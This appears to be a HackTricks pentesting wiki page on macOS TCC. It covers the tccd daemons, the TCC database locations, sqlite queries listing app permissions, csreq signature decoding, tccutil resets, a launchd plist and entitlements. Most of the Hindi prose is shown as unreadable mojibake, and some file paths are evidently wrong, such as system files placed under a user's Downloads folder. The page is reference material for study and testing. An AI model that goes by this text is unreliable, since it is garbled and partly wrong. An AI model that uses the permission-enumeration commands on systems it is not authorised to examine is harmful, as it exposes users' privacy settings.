macOS TCC

Reading time: 20 minutes

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

рдмреБрдирд┐рдпрд╛рджреА рдЬрд╛рдирдХрд╛рд░реА

TCC (Transparency, Consent, and Control) рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬреЛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд╡рд┐рдирд┐рдпрдорд┐рдд рдХрд░рдиреЗ рдкрд░ рдХреЗрдВрджреНрд░рд┐рдд рд╣реИред рдЗрд╕рдХреА рдкреНрд░рд╛рдердорд┐рдХ рднреВрдорд┐рдХрд╛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдЬреИрд╕реЗ рд╕реНрдерд╛рди рд╕реЗрд╡рд╛рдПрдБ, рд╕рдВрдкрд░реНрдХ, рдлрд╝реЛрдЯреЛ, рдорд╛рдЗрдХреНрд░реЛрдлрд╝реЛрди, рдХреИрдорд░рд╛, рдкрд╣реБрдБрдЪ, рдФрд░ рдкреВрд░реНрдг рдбрд┐рд╕реНрдХ рдПрдХреНрд╕реЗрд╕ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХрд░рдирд╛ рд╣реИред TCC рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕реНрдкрд╖реНрдЯ рд╕рд╣рдорддрд┐ рдХреЛ рдЕрдирд┐рд╡рд╛рд░реНрдп рдХрд░рдХреЗ рдЗрди рддрддреНрд╡реЛрдВ рддрдХ рдРрдк рдХреА рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рдЧреЛрдкрдиреАрдпрддрд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдбреЗрдЯрд╛ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИред

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рддрдм TCC рдХрд╛ рд╕рд╛рдордирд╛ рдХрд░рддреЗ рд╣реИрдВ рдЬрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕рдВрд░рдХреНрд╖рд┐рдд рд╕реБрд╡рд┐рдзрд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ рдПрдХ рдкреНрд░реЙрдореНрдкреНрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдкрд╣реБрдБрдЪ рдХреЛ рд╕реНрд╡реАрдХреГрдд рдпрд╛ рдЕрд╕реНрд╡реАрдХреГрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, TCC рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХреЛ рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдЦреАрдВрдЪрдирд╛ рдФрд░ рдЫреЛрдбрд╝рдирд╛, рддрд╛рдХрд┐ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛ рд╕рдХреЗ, рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддреЗ рд╣реБрдП рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗрд╡рд▓ рд╡рд╣реА рдПрдХреНрд╕реЗрд╕ рдХрд░реЗрдВ рдЬреЛ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдЕрдиреБрдордд рд╣реИред

An example of a TCC prompt

TCC рдХреЛ daemon рджреНрд╡рд╛рд░рд╛ рд╕рдВрднрд╛рд▓рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ /System/Library/PrivateFrameworks/TCC.framework/Support/tccd рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ рдФрд░ /System/Library/LaunchDaemons/com.apple.tccd.system.plist рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ (mach рд╕реЗрд╡рд╛ com.apple.tccd.system рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рдирд╛)ред

рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛-рдореЛрдб tccd рдкреНрд░рддреНрдпреЗрдХ рд▓реЙрдЧ рдЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдЬреЛ /System/Library/LaunchAgents/com.apple.tccd.plist рдореЗрдВ рдкрд░рд┐рднрд╛рд╖рд┐рдд рд╣реИ, рдЬреЛ mach рд╕реЗрд╡рд╛рдУрдВ com.apple.tccd рдФрд░ com.apple.usernotifications.delegate.com.apple.tccd рдХреЛ рдкрдВрдЬреАрдХреГрдд рдХрд░рддрд╛ рд╣реИред

рдпрд╣рд╛рдБ рдЖрдк tccd рдХреЛ рд╕рд┐рд╕реНрдЯрдо рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓рддреЗ рд╣реБрдП рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ:

bash
ps -ef | grep tcc 0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system 501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd

рдЕрдиреБрдорддрд┐рдпрд╛рдБ рдорд╛рддрд╛-рдкрд┐рддрд╛ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд╕реЗ рд╡рд┐рд░рд╛рд╕рдд рдореЗрдВ рдорд┐рд▓рддреА рд╣реИрдВ рдФрд░ рдЕрдиреБрдорддрд┐рдпрд╛рдБ Bundle ID рдФрд░ Developer ID рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЯреНрд░реИрдХ рдХреА рдЬрд╛рддреА рд╣реИрдВред

TCC рдбреЗрдЯрд╛рдмреЗрд╕

рдЕрдиреБрдорддрд┐рдпрд╛рдБ/рдирд┐рд╖реЗрдз рдлрд┐рд░ рдХреБрдЫ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреА рд╣реИрдВ:

  • рд╕рд┐рд╕реНрдЯрдо-рд╡реНрдпрд╛рдкреА рдбреЗрдЯрд╛рдмреЗрд╕ /Library/Application Support/com.apple.TCC/TCC.db рдореЗрдВред
  • рдпрд╣ рдбреЗрдЯрд╛рдмреЗрд╕ SIP рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ, рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдПрдХ SIP рдмрд╛рдпрдкрд╛рд╕ рдЗрд╕рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддрд╛ рд╣реИред
  • рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ TCC рдбреЗрдЯрд╛рдмреЗрд╕ $HOME/Library/Application Support/com.apple.TCC/TCC.db рдкреНрд░рддрд┐-рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рд╛рдердорд┐рдХрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдПред
  • рдпрд╣ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ рдЗрд╕рд▓рд┐рдП рдХреЗрд╡рд▓ рдЙрдЪреНрдЪ TCC рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реЗ рдкреНрд░рдХреНрд░рд┐рдпрд╛рдПрдБ рдЬреИрд╕реЗ рдХрд┐ рдкреВрд░реНрдг рдбрд┐рд╕реНрдХ рдПрдХреНрд╕реЗрд╕ рдЗрд╕рдореЗрдВ рд▓рд┐рдЦ рд╕рдХрддреА рд╣реИрдВ (рд▓реЗрдХрд┐рди рдпрд╣ SIP рджреНрд╡рд╛рд░рд╛ рд╕рдВрд░рдХреНрд╖рд┐рдд рдирд╣реАрдВ рд╣реИ)ред

warning

рдкрд┐рдЫрд▓реЗ рдбреЗрдЯрд╛рдмреЗрд╕ рднреА рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП TCC рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдЖрдк рдЕрдкрдиреА рдирд┐рдпрдорд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдирд╣реАрдВ рдкрдврд╝ рдкрд╛рдПрдВрдЧреЗ рдЬрдм рддрдХ рдХрд┐ рдпрд╣ TCC рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╕реЗ рди рд╣реЛред

рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЗрди рдЙрдЪреНрдЪ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡рд╛рд▓реА рдкреНрд░рдХреНрд░рд┐рдпрд╛ (рдЬреИрд╕реЗ FDA рдпрд╛ kTCCServiceEndpointSecurityClient) рдХреЗ рдкрд╛рд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рд▓рд┐рдЦрдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рд╣реЛрдЧреАред

  • рдПрдХ рддреАрд╕рд░рд╛ TCC рдбреЗрдЯрд╛рдмреЗрд╕ /var/db/locationd/clients.plist рдореЗрдВ рд╣реИ рдЬреЛ рдЙрди рдХреНрд▓рд╛рдЗрдВрдЯреНрд╕ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ рд╕реНрдерд╛рди рд╕реЗрд╡рд╛рдУрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред
  • SIP рд╕рдВрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ /Users/carlospolop/Downloads/REG.db (рдЬреЛ TCC рдХреЗ рд╕рд╛рде рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдБрдЪ рд╕реЗ рднреА рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ), рд╕рднреА рдорд╛рдиреНрдп TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдХрд╛ рд╕реНрдерд╛рди рд░рдЦрддреА рд╣реИред
  • SIP рд╕рдВрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ /Users/carlospolop/Downloads/MDMOverrides.plist (рдЬреЛ TCC рдХреЗ рд╕рд╛рде рдкрдврд╝рдиреЗ рдХреА рдкрд╣реБрдБрдЪ рд╕реЗ рднреА рд╕рдВрд░рдХреНрд╖рд┐рдд рд╣реИ), рдЕрдзрд┐рдХ TCC рджреА рдЧрдИ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд░рдЦрддреА рд╣реИред
  • SIP рд╕рдВрд░рдХреНрд╖рд┐рдд рдлрд╝рд╛рдЗрд▓ /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (рдЬреЛ рдХрд┐рд╕реА рдХреЗ рджреНрд╡рд╛рд░рд╛ рдкрдврд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИ) рдЙрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдЕрдиреБрдорддрд┐ рд╕реВрдЪреА рд╣реИ рдЬрд┐рдиреНрд╣реЗрдВ TCC рдЕрдкрд╡рд╛рдж рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

tip

iOS рдореЗрдВ TCC рдбреЗрдЯрд╛рдмреЗрд╕ /private/var/mobile/Library/TCC/TCC.db рдореЗрдВ рд╣реИред

note

рд╕реВрдЪрдирд╛ рдХреЗрдВрджреНрд░ UI рд╕рд┐рд╕реНрдЯрдо TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

codesign -dv --entitlements :- /System/Library/PrivateFrameworks/TCC.framework/> Support/tccd [..] com.apple.private.tcc.manager com.apple.rootless.storage.TCC

рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ tccutil рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХреЗ рд╕рд╛рде рдирд┐рдпрдореЛрдВ рдХреЛ рд╣рдЯрд╛ рдпрд╛ рдХреНрд╡реЗрд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдбреЗрдЯрд╛рдмреЗрд╕ рдХреЛ рдХреНрд╡реЗрд░реА рдХрд░реЗрдВ

bash
sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db sqlite> .schema # Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id # The table access contains the permissions per services sqlite> select service, client, auth_value, auth_reason from access; kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4 kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2 kTCCServiceMicrophone|us.zoom.xos|2|2 [...] # Check user approved permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=2; # Check user denied permissions for telegram sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;

tip

рджреЛрдиреЛрдВ рдбреЗрдЯрд╛рдмреЗрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдХреЗ рдЖрдк рдпрд╣ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ рдХрд┐рд╕реА рдРрдк рдХреЛ рдХреМрди рд╕реА рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреА рдЧрдИ рд╣реИрдВ, рдХреМрди рд╕реА рдордирд╛ рдХреА рдЧрдИ рд╣реИрдВ, рдпрд╛ рдХреМрди рд╕реА рдирд╣реАрдВ рд╣реИрдВ (рдпрд╣ рдЗрд╕рдХреЗ рд▓рд┐рдП рдкреВрдЫреЗрдЧрд╛)ред

  • service TCC рдЕрдиреБрдорддрд┐ рдХрд╛ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рд╣реИ
  • client рдмрдВрдбрд▓ рдЖрдИрдбреА рдпрд╛ рдмрд╛рдЗрдирд░реА рдХрд╛ рдкрде рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЕрдиреБрдорддрд┐рдпрд╛рдБ рд╣реИрдВ
  • client_type рдпрд╣ рджрд░реНрд╢рд╛рддрд╛ рд╣реИ рдХрд┐ рдпрд╣ рдмрдВрдбрд▓ рдкрд╣рдЪрд╛рдирдХрд░реНрддрд╛(0) рд╣реИ рдпрд╛ рдкреВрд░реНрдг рдкрде(1)
рдпрджрд┐ рдпрд╣ рдПрдХ рдкреВрд░реНрдг рдкрде рд╣реИ рддреЛ рдХреИрд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ

рдмрд╕ launctl load you_bin.plist рдХрд░реЗрдВ, рдПрдХ plist рдХреЗ рд╕рд╛рде рдЬреИрд╕реЗ:

xml
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <!-- Label for the job --> <key>Label</key> <string>com.example.yourbinary</string> <!-- The path to the executable --> <key>Program</key> <string>/path/to/binary</string> <!-- Arguments to pass to the executable (if any) --> <key>ProgramArguments</key> <array> <string>arg1</string> <string>arg2</string> </array> <!-- Run at load --> <key>RunAtLoad</key> <true/> <!-- Keep the job alive, restart if necessary --> <key>KeepAlive</key> <true/> <!-- Standard output and error paths (optional) --> <key>StandardOutPath</key> <string>/tmp/YourBinary.stdout</string> <key>StandardErrorPath</key> <string>/tmp/YourBinary.stderr</string> </dict> </plist>
  • auth_value рдХреЗ рд╡рд┐рднрд┐рдиреНрди рдорд╛рди рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ: denied(0), unknown(1), allowed(2), рдпрд╛ limited(3).
  • auth_reason рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдорд╛рди рд▓реЗ рд╕рдХрддрд╛ рд╣реИ: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
  • csreq рдлрд╝реАрд▓реНрдб рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ рдХрд┐ рдмрд╛рдЗрдирд░реА рдХреЛ рдХреИрд╕реЗ рд╕рддреНрдпрд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдП рдФрд░ TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ рджреА рдЬрд╛рдПрдБ:
bash
# Query to get cserq in printable hex select service, client, hex(csreq) from access where auth_value=2; # To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line): BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003" echo "$BLOB" | xxd -r -p > terminal-csreq.bin csreq -r- -t < terminal-csreq.bin # To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line): REQ_STR=$(codesign -d -r- /Applications/Utilities/Terminal.app/ 2>&1 | awk -F ' => ' '/designated/{print $2}') echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n') echo "X'$REQ_HEX'"
  • рддрд╛рд▓рд┐рдХрд╛ рдХреЗ рдЕрдиреНрдп рдХреНрд╖реЗрддреНрд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдЗрд╕ рдмреНрд▓реЙрдЧ рдкреЛрд╕реНрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

рдЖрдк System Preferences --> Security & Privacy --> Privacy --> Files and Folders рдореЗрдВ рдРрдкреНрд╕ рдХреЛ рдкрд╣рд▓реЗ рд╕реЗ рджрд┐рдП рдЧрдП рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреА рднреА рдЬрд╛рдВрдЪ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

tip

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдирд┐рдпрдореЛрдВ рдХреЛ рд╣рдЯрд╛рдирд╛ рдпрд╛ рдкреВрдЫрддрд╛рдЫ рдХрд░рдирд╛ tccutil рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред

TCC рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░реЗрдВ

bash
# You can reset all the permissions given to an application with tccutil reset All app.some.id # Reset the permissions granted to all apps tccutil reset All

TCC рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдЬрд╛рдВрдЪ

TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХрд╛ рдмрдВрдбрд▓ рдЖрдИрдбреА рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдпрд╣ рд╕рд┐рдЧреНрдиреЗрдЪрд░ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рднреА рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдЕрдиреБрдорддрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдРрдк рд╕рд╣реА рд╣реИред

bash
# From sqlite sqlite> select service, client, hex(csreq) from access where auth_value=2; #Get csreq # From bash echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin ## Get signature checks csreq -t -r /tmp/telegram_csreq.bin (anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"

warning

рдЗрд╕рд▓рд┐рдП, рдЙрд╕реА рдирд╛рдо рдФрд░ рдмрдВрдбрд▓ рдЖрдИрдбреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреНрдп рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЛ рдЕрдиреНрдп рдРрдкреНрд╕ рдХреЛ рджрд┐рдП рдЧрдП рдЕрдиреБрдорддрд┐рдпреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдирд╣реАрдВ рд╣реЛрдЧреАред

рдЕрдзрд┐рдХрд╛рд░ рдФрд░ TCC рдЕрдиреБрдорддрд┐рдпрд╛рдБ

рдРрдкреНрд╕ рдХреЗрд╡рд▓ рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИ рдХрд┐ рд╡реЗ рдЕрдиреБрд░реЛрдз рдХрд░реЗрдВ рдФрд░ рдХреБрдЫ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ, рдЙрдиреНрд╣реЗрдВ рд╕рдВрдмрдВрдзрд┐рдд рдЕрдзрд┐рдХрд╛рд░ рднреА рд╣реЛрдиреЗ рдЪрд╛рд╣рд┐рдПред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Telegram рдХреЗ рдкрд╛рд╕ рдХреИрдорд░реЗ рддрдХ рдкрд╣реБрдБрдЪ рдХреЗ рд▓рд┐рдП com.apple.security.device.camera рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реИред рдПрдХ рдРрдк рдЬреЛ рдЗрд╕ рдЕрдзрд┐рдХрд╛рд░ рдХреЗ рдмрд┐рдирд╛ рд╣реИ, рд╡рд╣ рдХреИрдорд░реЗ рддрдХ рдкрд╣реБрдБрдЪ рдирд╣реАрдВ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗрдЧрд╛ (рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рднреА рдирд╣реАрдВ рдкреВрдЫрд╛ рдЬрд╛рдПрдЧрд╛)ред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдРрдкреНрд╕ рдХреЛ рдХреБрдЫ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдлрд╝реЛрд▓реНрдбрд░реЛрдВ рдЬреИрд╕реЗ ~/Desktop, ~/Downloads рдФрд░ ~/Documents рддрдХ рдкрд╣реБрдБрдЪ рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рд╡рд┐рд╢реЗрд╖ рдЕрдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред рд╕рд┐рд╕реНрдЯрдо рдкрд╛рд░рджрд░реНрд╢реА рд░реВрдк рд╕реЗ рдкрд╣реБрдБрдЪ рдХреЛ рд╕рдВрднрд╛рд▓реЗрдЧрд╛ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЖрд╡рд╢реНрдпрдХрддрд╛рдиреБрд╕рд╛рд░ рдкреНрд░реЗрд░рд┐рдд рдХрд░реЗрдЧрд╛ред

Apple рдХреЗ рдРрдкреНрд╕ рдкреНрд░реЗрд░рдгрд╛рдПрдБ рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗред рдЙрдирдХреЗ рдЕрдзрд┐рдХрд╛рд░ рд╕реВрдЪреА рдореЗрдВ рдкреВрд░реНрд╡-рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдЕрдзрд┐рдХрд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╡реЗ рдХрднреА рднреА рдкреЙрдкрдЕрдк рдЙрддреНрдкрдиреНрди рдирд╣реАрдВ рдХрд░реЗрдВрдЧреЗ, рди рд╣реА рд╡реЗ рдХрд┐рд╕реА рднреА TCC рдбреЗрдЯрд╛рдмреЗрд╕ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдВрдЧреЗред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

bash
codesign -dv --entitlements :- /System/Applications/Calendar.app [...] <key>com.apple.private.tcc.allow</key> <array> <string>kTCCServiceReminders</string> <string>kTCCServiceCalendar</string> <string>kTCCServiceAddressBook</string> </array>

рдпрд╣ рдХреИрд▓реЗрдВрдбрд░ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕реЗ рдЕрдиреБрд╕реНрдорд╛рд░рдХ, рдХреИрд▓реЗрдВрдбрд░ рдФрд░ рдкрддреЗ рдХреА рдкреБрд╕реНрддрдХ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдкреВрдЫрдиреЗ рд╕реЗ рд░реЛрдХреЗрдЧрд╛ред

tip

рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЖрдзрд┐рдХрд╛рд░рд┐рдХ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝реЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, https://newosxbook.com/ent.jl рдкрд░ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЕрдиреМрдкрдЪрд╛рд░рд┐рдХ рджрд┐рд▓рдЪрд╕реНрдк рдЬрд╛рдирдХрд╛рд░реА рдорд┐рд▓рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИред

